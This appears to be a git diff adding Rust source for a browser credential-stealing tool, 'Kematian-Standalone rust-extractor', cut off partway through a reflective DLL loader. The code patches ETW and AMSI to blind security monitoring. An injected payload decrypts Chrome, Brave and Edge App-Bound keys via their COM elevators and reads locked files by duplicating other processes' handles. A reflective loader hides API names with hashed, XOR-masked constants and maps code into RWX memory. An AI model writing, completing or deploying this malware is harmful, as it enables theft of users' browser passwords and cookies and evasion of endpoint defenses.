0; + + // ETW + AMSI primary, opaque order. + if flow::opaque_true(seed ^ gen::CFF_KEY) { + flow::junk_complex(seed); + if patch_etw() { done |= 1; } + if patch_amsi() { done |= 2; } + } else { + flow::junk(); + if patch_amsi() { done |= 2; } + if patch_etw() { done |= 1; } + } + + // Secondary layers. + if patch_etw_eventenabled() { done |= 16; } + if patch_amsi_opensession() { done |= 32; } + + if clear_instrumentation_callback() { done |= 4; } + + // Deep ETW only once the primary landed. + if done & 1 != 0 && patch_etw_deep() { + done |= 8; + } + + done +} diff --git a/Kematian-Standalone/rust-extractor/src/payload.rs b/Kematian-Standalone/rust-extractor/src/payload.rs new file mode 100644 index 0000000..e0c1e1f --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/payload.rs @@ -0,0 +1,628 @@ +//! Injected-payload logic, ported from key_extractor.cpp. +//! +//! On attach the payload reads the pipe name from the `RECOVERY_PIPE` +//! environment variable and spawns a worker thread that services a length- +//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via +//! the browser's COM elevator) and `READ:path` (read a file, transparently +//! duplicating the owning process's open handle on a sharing violation). + +use core::ffi::c_void; +use core::ptr; + +use crate::abi::{self, GUID}; +use crate::gen; +use crate::obf; + +const MAX_MSG: u32 = 16384; +const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB +const ENV_BUF: u32 = 512; +const PATH_BUF: usize = 32768; + +/// Runtime-decrypt a compile-time obfuscated byte signature into a Vec. +fn dec_bytes(key: u8, slot: &(obf::Slot, u32), len: usize) -> Vec { + let raw = obf::dec_sig(key, slot, len); + raw[..len.min(obf::MAX_LEN)].to_vec() +} + +// --------------------------------------------------------------------------- +// Protocol / identity strings — kept out of `.rodata` as plaintext. +// --------------------------------------------------------------------------- + +fn proto_key() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8001, b"KEY:"), 4) } +fn proto_read() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8002, b"READ:"), 5) } +fn proto_exit() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8003, b"EXIT"), 4) } +fn env_pipe_name() -> Vec { dec_bytes(gen::K_TOKEN, &obf::sig(gen::K_TOKEN, 0x8004, b"RECOVERY_PIPE"), 13) } + +// ---- OVERLAPPED (x64 layout) ---- + +#[repr(C)] +#[derive(Clone, Copy)] +struct Overlapped { + internal: usize, + internal_high: usize, + offset: u32, + offset_high: u32, + h_event: usize, +} + +impl Overlapped { + fn zeroed() -> Self { + Overlapped { + internal: 0, + internal_high: 0, + offset: 0, + offset_high: 0, + h_event: 0, + } + } +} + +// ---- base64 decode (standard, padded) ---- + +fn b64_val(c: u8) -> i32 { + match c { + b'A'..=b'Z' => (c - b'A') as i32, + b'a'..=b'z' => (c - b'a' + 26) as i32, + b'0'..=b'9' => (c - b'0' + 52) as i32, + b'+' => 62, + b'/' => 63, + _ => -1, + } +} + +fn base64_decode(s: &[u8]) -> Vec { + let mut out = Vec::new(); + let mut acc: u32 = 0; + let mut bits: u32 = 0; + for &c in s { + if c == b'=' { + break; + } + let v = b64_val(c); + if v < 0 { + continue; + } + acc = (acc << 6) | v as u32; + bits += 6; + if bits >= 8 { + bits -= 8; + out.push((acc >> bits) as u8); + } + } + out +} + +// ---- wide / utf helpers ---- + +fn utf8_to_wide(bytes: &[u8]) -> Vec { + let s = String::from_utf8_lossy(bytes); + let mut v: Vec = s.encode_utf16().collect(); + v.push(0); + v +} + +fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool { + if a.len() != b.len() { + return false; + } + a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase()) +} + +/// Case-sensitive wide substring search (matches the C `wcsstr` behavior). +fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool { + if needle.is_empty() { + return true; + } + if haystack.len() < needle.len() { + return false; + } + (0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle) +} + +// ---- pipe helpers ---- + +unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool { + let mut off = 0u32; + while off < len { + let mut rd = 0u32; + let ok = abi::ReadFile( + h, + buf.add(off as usize) as *mut c_void, + len - off, + &mut rd, + ptr::null_mut(), + ); + if ok == 0 || rd == 0 { + return false; + } + off += rd; + } + true +} + +unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool { + let mut off = 0u32; + while off < len { + let mut wr = 0u32; + let ok = abi::WriteFile( + h, + buf.add(off as usize) as *const c_void, + len - off, + &mut wr, + ptr::null_mut(), + ); + if ok == 0 || wr == 0 { + return false; + } + off += wr; + } + true +} + +unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool { + let total = 1u32 + data.len() as u32; + let len_bytes = total.to_le_bytes(); + if !pipe_write_all(h, len_bytes.as_ptr(), 4) { + return false; + } + if !pipe_write_all(h, &status as *const u8, 1) { + return false; + } + if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) { + return false; + } + abi::FlushFileBuffers(h); + true +} + +// ---- COM elevator (IElevator / IEdgeElevator) ---- + +// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData +#[repr(C)] +struct IElevatorVtbl { + query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32, + add_ref: unsafe extern "system" fn(*mut c_void) -> u32, + release: unsafe extern "system" fn(*mut c_void) -> u32, + run_recovery_crx_elevated: unsafe extern "system" fn( + *mut c_void, + *const u16, + *const u16, + *const u16, + *const u16, + u32, + *mut usize, + ) -> i32, + encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32, + decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32, +} + +// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData +#[repr(C)] +struct IEdgeElevatorVtbl { + query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32, + add_ref: unsafe extern "system" fn(*mut c_void) -> u32, + release: unsafe extern "system" fn(*mut c_void) -> u32, + edge_method1: unsafe extern "system" fn(*mut c_void) -> i32, + edge_method2: unsafe extern "system" fn(*mut c_void) -> i32, + edge_method3: unsafe extern "system" fn(*mut c_void) -> i32, + run_recovery_crx_elevated: unsafe extern "system" fn( + *mut c_void, + *const u16, + *const u16, + *const u16, + *const u16, + u32, + *mut usize, + ) -> i32, + encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32, + decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32, +} + +const CLSID_CHROME: GUID = GUID { + data1: 0x708860E0, + data2: 0xF641, + data3: 0x4611, + data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B], +}; +const IID_CHROME: GUID = GUID { + data1: 0x463ABECF, + data2: 0x410D, + data3: 0x407F, + data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8], +}; +const IID_CHROME2: GUID = GUID { + data1: 0x1BF5208B, + data2: 0x295F, + data3: 0x4992, + data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38], +}; + +const CLSID_EDGE: GUID = GUID { + data1: 0x1FCBE96C, + data2: 0x1697, + data3: 0x43AF, + data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67], +}; +const IID_EDGE: GUID = GUID { + data1: 0xC9C2B807, + data2: 0x7731, + data3: 0x4F34, + data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B], +}; +const IID_EDGE2: GUID = GUID { + data1: 0x8F7B6792, + data2: 0x784D, + data3: 0x4047, + data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05], +}; + +const CLSID_BRAVE: GUID = GUID { + data1: 0x576B31AF, + data2: 0x6369, + data3: 0x4B6B, + data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B], +}; +const IID_BRAVE: GUID = GUID { + data1: 0xF396861E, + data2: 0x0C8E, + data3: 0x4C71, + data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9], +}; +const IID_BRAVE2: GUID = GUID { + data1: 0x1BF5208B, + data2: 0x295F, + data3: 0x4992, + data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38], +}; + +const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16; + +unsafe fn set_proxy_blanket(ptr: *mut c_void) { + abi::CoSetProxyBlanket( + ptr, + abi::RPC_C_AUTHN_DEFAULT, + abi::RPC_C_AUTHZ_DEFAULT, + COLE_DEFAULT_PRINCIPAL, + abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + abi::RPC_C_IMP_LEVEL_IMPERSONATE, + ptr::null_mut(), + abi::EOAC_DYNAMIC_CLOAKING, + ); +} + +unsafe fn decrypt_chrome( + clsid: GUID, + iid: GUID, + iid2: GUID, + bstr: *mut u16, + out: *mut *mut u16, + err: *mut u32, +) -> i32 { + let mut ptr: *mut c_void = ptr::null_mut(); + let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr); + if hr < 0 { + hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr); + } + if hr < 0 || ptr.is_null() { + return hr; + } + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + hr +} + +unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 { + // Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout). + let mut ptr: *mut c_void = ptr::null_mut(); + let mut hr = abi::CoCreateInstance( + &CLSID_EDGE, + ptr::null_mut(), + abi::CLSCTX_LOCAL_SERVER, + &IID_EDGE2, + &mut ptr, + ); + if hr >= 0 && !ptr.is_null() { + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IEdgeElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + if hr >= 0 && !(*out).is_null() { + return hr; + } + } + + ptr = ptr::null_mut(); + hr = abi::CoCreateInstance( + &CLSID_EDGE, + ptr::null_mut(), + abi::CLSCTX_LOCAL_SERVER, + &IID_EDGE, + &mut ptr, + ); + if hr < 0 || ptr.is_null() { + return hr; + } + set_proxy_blanket(ptr); + let vtbl = *(ptr as *const *const IEdgeElevatorVtbl); + hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err); + ((*vtbl).release)(ptr); + hr +} + +fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option> { + unsafe { + let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED); + if hr < 0 && hr != abi::RPC_E_CHANGED_MODE { + return None; + } + + let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32); + if bstr_enc.is_null() { + abi::CoUninitialize(); + return None; + } + + let mut bstr_plain: *mut u16 = ptr::null_mut(); + let mut com_err: u32 = 0; + + let hr2 = if ascii_eq_ignore_case(browser, b"edge") { + decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err) + } else if ascii_eq_ignore_case(browser, b"brave") { + decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err) + } else { + decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err) + }; + + abi::SysFreeString(bstr_enc); + + let result = if hr2 >= 0 && !bstr_plain.is_null() { + let len = abi::SysStringByteLen(bstr_plain); + if len > 0 && len <= 64 { + let mut key = vec![0u8; len as usize]; + ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize); + Some(key) + } else { + None + } + } else { + None + }; + + if !bstr_plain.is_null() { + abi::SysFreeString(bstr_plain); + } + abi::CoUninitialize(); + result + } +} + +// ---- READ handler ---- + +/// Brute-force the owning process's open file handle by walking handle values +/// and matching the DOS path (ported from `find_open_handle`). +unsafe fn find_open_handle(target_path: &[u16]) -> usize { + let mut sep_count = 0; + let mut suffix_start = 0usize; + let mut i = target_path.len(); + while i > 0 && sep_count < 2 { + i -= 1; + if target_path[i] == b'\\' as u16 { + sep_count += 1; + if sep_count == 2 { + suffix_start = i; + } + } + } + let suffix = &target_path[suffix_start..]; + + let mut h = 4usize; + while h < 0x10000 { + if abi::GetFileType(h) == abi::FILE_TYPE_DISK { + let mut name = [0u16; PATH_BUF]; + let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0); + if len > 0 && (len as usize) < PATH_BUF { + let slice = &name[..len as usize]; + if wide_contains(slice, suffix) { + let mut dup = 0usize; + if abi::DuplicateHandle( + abi::GetCurrentProcess(), + h, + abi::GetCurrentProcess(), + &mut dup, + 0, + 0, + abi::DUPLICATE_SAME_ACCESS, + ) != 0 + { + return dup; + } + } + } + } + h += 4; + } + abi::INVALID_HANDLE_VALUE +} + +unsafe fn handle_read(h: usize, utf8path: &[u8]) { + let wide = utf8_to_wide(utf8path); + let mut hfile = abi::CreateFileW( + wide.as_ptr(), + abi::GENERIC_READ, + abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE, + ptr::null_mut(), + abi::OPEN_EXISTING, + abi::FILE_ATTRIBUTE_NORMAL, + 0, + ); + + let mut via_dup = false; + if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION { + hfile = find_open_handle(&wide[..wide.len() - 1]); + via_dup = true; + } + + if hfile == abi::INVALID_HANDLE_VALUE { + send_response(h, 1, b"open failed"); + return; + } + + let size = abi::GetFileSize(hfile, ptr::null_mut()); + if size == abi::INVALID_FILE_SIZE || size > MAX_FILE { + abi::CloseHandle(hfile); + send_response(h, 1, b"bad size"); + return; + } + + let mut data = vec![0u8; size as usize]; + let mut rd = 0u32; + let ok = if via_dup { + let mut ov = Overlapped::zeroed(); + abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0 + && rd == size + } else { + abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0 + && rd == size + }; + abi::CloseHandle(hfile); + + if ok { + send_response(h, 0, &data); + } else if via_dup { + send_response(h, 1, b"dup read fail"); + } else { + send_response(h, 1, b"read fail"); + } +} + +// ---- KEY handler ---- + +unsafe fn handle_key(h: usize, args: &[u8]) { + let Some(pos) = args.iter().position(|&c| c == b':') else { + send_response(h, 1, b"bad format"); + return; + }; + let (browser, b64) = args.split_at(pos); + let enc = base64_decode(&b64[1..]); + if enc.len() < 5 { + send_response(h, 1, b"small key"); + return; + } + match decrypt_via_elevator(&enc, browser) { + Some(key) => { + send_response(h, 0, &key); + } + None => { + send_response(h, 1, b"decrypt failed"); + } + } +} + +// ---- worker thread ---- + +unsafe fn worker(pipe: &[u16]) -> u32 { + let h = abi::CreateFileW( + pipe.as_ptr(), + abi::GENERIC_READ | abi::GENERIC_WRITE, + 0, + ptr::null_mut(), + abi::OPEN_EXISTING, + 0, + 0, + ); + if h == abi::INVALID_HANDLE_VALUE { + return 1; + } + + loop { + let mut msg_len: u32 = 0; + if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4) + || msg_len == 0 + || msg_len > MAX_MSG + { + break; + } + let mut msg = vec![0u8; msg_len as usize]; + if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) { + break; + } + + let pkey = proto_key(); + let pread = proto_read(); + let pexit = proto_exit(); + + if msg.len() >= pkey.len() && &msg[..pkey.len()] == pkey.as_slice() { + handle_key(h, &msg[pkey.len()..]); + } else if msg.len() >= pread.len() && &msg[..pread.len()] == pread.as_slice() { + handle_read(h, &msg[pread.len()..]); + } else if msg.len() >= pexit.len() && &msg[..pexit.len()] == pexit.as_slice() { + break; + } else { + send_response(h, 1, b"unknown"); + } + } + + abi::CloseHandle(h); + 0 +} + +fn read_env_wide(name: &str) -> Option> { + let mut name_w: Vec = name.encode_utf16().collect(); + name_w.push(0); + let mut buf = vec![0u16; ENV_BUF as usize]; + unsafe { + let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF); + if len == 0 || len >= ENV_BUF { + return None; + } + buf.truncate(len as usize); + Some(buf) + } +} + +/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed +/// through lpParameter by the injector). +fn read_wide_from_ptr(p: *const u16) -> Option> { + if p.is_null() { + return None; + } + let mut v = Vec::new(); + let mut i = 0usize; + unsafe { + loop { + let c = *p.add(i); + if c == 0 { + break; + } + v.push(c); + i += 1; + if i > 4096 { + return None; + } + } + } + if v.is_empty() { + None + } else { + Some(v) + } +} + +pub fn on_attach(lp_param: *const u16) { + // Prefer the pipe name passed in memory by the injector (works for running + // browsers); fall back to the inherited env var for spawned headless ones. + let env_name = env_pipe_name(); + let env_name_str: String = String::from_utf8_lossy(&env_name).into_owned(); + let pipe = read_wide_from_ptr(lp_param) + .or_else(|| read_env_wide(&env_name_str)); + if let Some(pipe) = pipe { + let mut p = pipe; + p.push(0); + let _ = std::thread::Builder::new() + .spawn(move || unsafe { + worker(&p); + }); + } +} diff --git a/Kematian-Standalone/rust-extractor/src/reflective.rs b/Kematian-Standalone/rust-extractor/src/reflective.rs new file mode 100644 index 0000000..44025ce --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/reflective.rs @@ -0,0 +1,478 @@ +//! Position-independent reflective loader, pure Rust (no C). +//! +//! This is a direct port of the Harmony Security `ReflectiveLoader` approach. +//! The injection stubs copy this DLL's raw bytes into a remote process and +//! start a thread on the exported `ReflectiveLoader` entry. When that thread +//! begins, the copied image is *not* relocated and its imports are *not* +//! resolved, so this function must be position independent end to end: +//! +//! - It never reads relocatable data. All image structures are reached by +//! computing addresses at runtime and reading with volatile scalar loads. +//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`, +//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB +//! module list and export tables by hand. Module names are matched by a +//! rotate hash of *immediate* constants — never through `.rodata` string +//! literals, because a RIP-relative load into the file-offset-mapped raw +//! copy would read the wrong bytes until the image has been relocated. +//! - It copies the image into a fresh RWX allocation, fixes up imports, +//! applies relocations, registers `.pdata` for exception unwinding and +//! finally invokes the DLL's entry point. +//! +//! All loops use `wrapping_*` arithmetic and every memory access is volatile +//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or +//! introduce a panic edge (both would route through a not-yet-loaded IAT or +//! unwinder). + +use core::arch::asm; + +const MEM_RESERVE_COMMIT: u32 = 0x0000_3000; +const PAGE_EXECUTE_READWRITE: u32 = 0x40; +const DLL_PROCESS_ATTACH: u32 = 1; + +// rotate-right-by-1 hashes of the names the loader resolves. +// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks +// constant-folding) so the raw loader hashes never appear in the binary. +const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +#[inline(always)] +fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +const KERNEL32_HASH: u32 = 0xC3A0_008F ^ HASH_KEY; +const NTDLL_HASH: u32 = 0xE600_0091 ^ HASH_KEY; +const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093 ^ HASH_KEY; +const GETPROCADDRESS_HASH: u32 = 0x8708_00A0 ^ HASH_KEY; +const VIRTUALALLOC_HASH: u32 = 0xB800_008F ^ HASH_KEY; +const NTFLUSH_HASH: u32 = 0xED3A_788A ^ HASH_KEY; + +type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize; +type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize; +type VirtualAllocFn = unsafe extern "system" fn( + addr: usize, + size: usize, + allocation_type: u32, + protect: u32, +) -> usize; +type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32; +type RtlAddFunctionTableFn = unsafe extern "system" fn( + function_table: usize, + entry_count: u32, + base_address: u64, +) -> i32; +type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32; + +// ---- Volatile scalar memory access (never lowered to libcalls) ---- + +#[inline(always)] +unsafe fn rd_u8(p: usize, off: usize) -> u8 { + core::ptr::read_volatile((p + off) as *const u8) +} + +#[inline(always)] +unsafe fn rd_u16(p: usize, off: usize) -> u16 { + core::ptr::read_volatile((p + off) as *const u16) +} + +#[inline(always)] +unsafe fn rd_u32(p: usize, off: usize) -> u32 { + core::ptr::read_volatile((p + off) as *const u32) +} + +#[inline(always)] +unsafe fn rd_u64(p: usize, off: usize) -> u64 { + core::ptr::read_volatile((p + off) as *const u64) +} + +#[inline(always)] +unsafe fn wr_u8(p: usize, off: usize, v: u8) { + core::ptr::write_volatile((p + off) as *mut u8, v); +} + +#[inline(always)] +unsafe fn wr_u64(p: usize, off: usize, v: u64) { + core::ptr::write_volatile((p + off) as *mut u64, v); +} + +// Unaligned-safe read so the base scan can step byte-by-byte. +#[inline(always)] +unsafe fn rd_u16_bytes(p: usize) -> u16 { + rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8) +} + +#[inline(always)] +unsafe fn copy_bytes(dst: usize, src: usize, len: usize) { + for i in 0..len { + core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8)); + } +} + +// ---- Immediate materializers: build byte strings without .rodata ---- + +#[inline(always)] +unsafe fn fill_u64(dst: usize, lit: u64) { + wr_u8(dst, 0, (lit & 0xFF) as u8); + wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8); + wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8); + wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8); + wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8); + wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8); + wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8); + wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8); +} + +#[inline(always)] +unsafe fn fill_u32(dst: usize, lit: u32) { + wr_u8(dst, 0, (lit & 0xFF) as u8); + wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8); + wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8); + wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8); +} + +// ---- Position-independent runtime resolution ---- + +/// Current instruction pointer, obtained with a RIP-relative LEA so it is +/// valid before the image is relocated. +#[inline(never)] +fn rip_here() -> usize { + let ip: usize; + unsafe { + asm!( + "lea {}, [rip]", + out(reg) ip, + options(nomem, nostack, preserves_flags), + ); + } + ip +} + +/// x64 Process Environment Block via `gs:[0x60]`. +#[inline(never)] +unsafe fn peb_pointer() -> usize { + let peb: usize; + unsafe { + asm!( + "mov {}, qword ptr gs:[0x60]", + out(reg) peb, + options(nostack, preserves_flags), + ); + } + peb +} + +/// Scan backwards from `start` for the MZ/PE header of the running image. +unsafe fn find_image_base(start: usize) -> usize { + let mut p = start; + loop { + if p == 0 { + return 0; + } + if rd_u16_bytes(p) == 0x5A4D { + let lfanew = rd_u32(p, 0x3C) as usize; + if (0x40..1024).contains(&lfanew) { + let nt = p + lfanew; + if rd_u32(nt, 0) == 0x0000_4550 { + return p; + } + } + } + p = p.wrapping_sub(1); + } +} + +/// Rotate `v` right by one bit. +#[inline(always)] +fn ror1(v: u32) -> u32 { + v.wrapping_shr(1) | v.wrapping_shl(31) +} + +/// ror hash of a UTF-16 code-unit buffer (case-normalized). +unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + while i < nchars { + let c = rd_u16(ptr, i * 2); + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add((c - 0x20) as u32); + } else { + h = h.wrapping_add(c as u32); + } + i += 1; + } + h +} + +/// ror hash of a NUL-terminated ASCII string, case-normalized as above. +unsafe fn hash_ascii(ptr: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + loop { + let c = rd_u8(ptr, i) as u32; + if c == 0 { + return h; + } + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add(c - 0x20); + } else { + h = h.wrapping_add(c); + } + i += 1; + } +} + +/// Walk the loaded-module list for the module whose base-name rotates to +/// `want`; returns its base address or 0. +unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize { + let ldr = rd_u64(peb, 0x18) as usize; + if ldr == 0 { + return 0; + } + let head = rd_u64(ldr, 0x20) as usize; + if head == 0 { + return 0; + } + let mut cur = head; + loop { + if cur == 0 { + return 0; + } + let entry = cur.wrapping_sub(0x10); + let name_len = rd_u16(entry, 0x58) as usize; + if name_len > 0 { + let name_ptr = rd_u64(entry, 0x60) as usize; + if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want { + return rd_u64(entry, 0x30) as usize; + } + } + let next = rd_u64(entry, 0x10) as usize; + if next == head || next == cur { + break; + } + cur = next; + } + 0 +} + +/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0. +unsafe fn export_by_hash(base: usize, want: u32) -> usize { + let lfanew = rd_u32(base, 0x3C) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = rd_u32(dd, 0) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let num_names = rd_u32(ed, 24) as usize; + let addr_of_funcs = rd_u32(ed, 28) as usize; + let addr_of_names = rd_u32(ed, 32) as usize; + let addr_of_ord = rd_u32(ed, 36) as usize; + if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 { + return 0; + } + for i in 0..num_names { + let name_rva = rd_u32(base + addr_of_names, i * 4) as usize; + if hash_ascii(base + name_rva) == want { + let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize; + let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize; + if fn_rva == 0 { + return 0; + } + return base + fn_rva; + } + } + 0 +} + +/// Resolve an export by ordinal; returns its VA or 0. +unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize { + let lfanew = rd_u32(base, 0x3C) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = rd_u32(dd, 0) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let export_base = rd_u32(ed, 16) as usize; + let num_funcs = rd_u32(ed, 20) as usize; + let addr_of_funcs = rd_u32(ed, 28) as usize; + if ordinal < export_base as u16 || addr_of_funcs == 0 { + return 0; + } + let idx = ordinal as usize - export_base; + if idx >= num_funcs { + return 0; + } + let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize; + if fn_rva == 0 { + return 0; + } + base + fn_rva +} + +// ---- The loader ---- + +/// Thread-start routine invoked by the `ReflectiveLoader` export on the +/// copied, un-relocated image. Returns the address of the newly loaded DLL's +/// entry point, or 0 on failure. +#[inline(never)] +pub extern "system" fn loader_impl(lpParameter: usize) -> usize { + unsafe { + // STEP 0: locate our own (un-relocated) image base. + let ui_lib = find_image_base(rip_here()); + if ui_lib == 0 { + return 0; + } + + // STEP 1: resolve the APIs we need by name hash. + let peb = peb_pointer(); + let k32 = module_base_by_hash(peb, r(KERNEL32_HASH)); + let ntdll = module_base_by_hash(peb, r(NTDLL_HASH)); + if k32 == 0 || ntdll == 0 { + return 0; + } + let p_load = export_by_hash(k32, r(LOADLIBRARYA_HASH)); + let p_get_proc = export_by_hash(k32, r(GETPROCADDRESS_HASH)); + let p_alloc = export_by_hash(k32, r(VIRTUALALLOC_HASH)); + let p_flush = export_by_hash(ntdll, r(NTFLUSH_HASH)); + if p_load == 0 || p_get_proc == 0 || p_alloc == 0 { + return 0; + } + let f_load: LoadLibraryFn = core::mem::transmute(p_load); + let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc); + let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc); + let f_flush: NtFlushFn = core::mem::transmute(p_flush); + + // Register .pdata so unwinding through our code does not crash. The + // proc-name string is materialized from immediates (no .rodata). + let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit(); + let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize; + fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu" + fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa" + fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0" + let p_add_table = f_get_proc(ntdll, name_ptr as *const u8); + + // STEP 2: load the image into a fresh permanent location. + let lfanew = rd_u32(ui_lib, 0x3C) as usize; + if lfanew == 0 { + return 0; + } + let opt = ui_lib + lfanew + 4 + 20; + let image_base = rd_u64(opt, 24) as usize; + let size_of_image = rd_u32(opt, 56) as usize; + let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE); + if ui_base == 0 { + return 0; + } + + // Copy the headers. + copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize); + + // STEP 3: copy all sections. + let coff = ui_lib + lfanew + 4; + let num_sections = rd_u16(coff, 2) as usize; + let opt_size = rd_u16(coff, 16) as usize; + let sec = coff + 20 + opt_size; + let mut si = 